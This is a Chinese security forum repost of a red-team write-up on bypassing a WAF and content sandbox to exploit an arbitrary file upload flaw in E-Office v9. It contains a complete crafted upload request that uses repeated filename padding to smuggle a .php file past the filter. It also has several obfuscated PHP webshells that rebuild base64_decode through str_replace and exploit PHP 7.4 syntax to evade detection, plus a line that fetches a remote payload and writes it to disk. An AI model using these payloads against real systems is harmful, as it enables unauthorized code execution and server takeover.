安全矩阵

 找回密码
 立即注册
搜索
查看: 902|回复: 0

记一次PHP文件上传WAF+沙盒绕过

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2022-10-23 17:42:38 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-10-23 17:44 编辑

记一次PHP文件上传WAF+沙盒绕过

转载于:print("") 潇湘信安 2022-10-19 08:20 发表于湖南

收录于合集

#防护绕过72个

#渗透技巧26个

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


文章来源:print("")博客

原文地址:记一次PHP文件上传WAF+沙盒绕过 - print("")


正文

打了一场护网遇到了好几个这样的环境,在这里记录一下绕过过程。


如下的为本地伪造环境,目标系统E-Office v9,存在任意文件上传漏洞。


首先需要绕过的是php的文件后缀,如下:


  1. POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1Host: 192.168.1.70User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Connection: closeAccept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348Content-Length: 2108Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
  2. --e64bdf16c554bbc109cecef6451c26a4Content-Disposition: form-data; name="file"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="2.phpContent-Type: image/jpeg
  3. 2222
  4. --e64bdf16c554bbc109cecef6451c26a4--
复制代码


成功绕过了PHP后缀名的拦截,然后现在需要绕过内容的过滤了。首先是发现他并不支持 <? 这种段标签的方式。



虽然上传成功,但是呢,没办法执行。



然后还拦截一些常用的一些函数之类的,尝试进行绕过


但是!!!!!只要有 ;号就进行拦截。


  1. <?php file_put_contents   ('1.php'  ,    file_get_contents          (                  ' http://127.0.0.1/png.txt'  )        );
复制代码

然后尝试了很多方式进行这个分号绕过,然后发现这样子就不拦截。


  1. <?php 12321312file_put_contents   ('1.php'  ,    file_get_contents          (                  ' http://127.0.0.1/png.txt'  )        );
复制代码

最终确定为他是一个沙盒,就是 PHP 内容能被 php 语法支持的情况下就拦截,语法不支持的情况下就放行,那么绕过思路就有了。


他默认返回的是:X-Powered-By: PHP/7.4.28,那么是否可以通过 PHP7.4 的特性来进行让他沙盒报错呢,从而达到绕过的效果,如下:


然后就是写木马了,然后发现使用 file_get_contents 远程下载文件为空,在想是不是不出网,使用另外一种方式。

  1. <?php
  2. array_map(fn (User $user) => $user->id, $users);$a=str_replace('hhh','bas', $_GET[1]);
  3. file_put_contents   ($a($_GET[3])  ,      $a ( $a (            $_POST[a]         ) ) )        
  4. ;
复制代码

使用方式为:

  1. ?1=hhhe64_decode&3=dHR0LnBocA==&a=马子内容双层base64
复制代码

使用base64进行写文件、但是发现写了很多个木马都连接不上,尝试写了一个 cmd 的木马。

  1. <?php array_map(fn (User $user) => $user->id, $users);$b=str_replace('ccc','bas', $_GET[2]);$b($b($_GET[1]))($b($_GET[3]));
复制代码

发现执行 whoami、ipconfig 都会卡30S以上,最终会执行成功,但是执行其他的就会直接被拦截死,最终通过黑加白的方式进行上线的。



关 注 有 礼



关注公众号回复“9527”可以领取一套HTB靶场文档和视频,“1208”个人常用高效爆破字典,“0221”2020年酒仙桥文章打包,“2191”潇湘信安文章打包,“1212”杀软对比源码+数据源,“0421”Windows提权工具包。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:44 , Processed in 0.013628 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表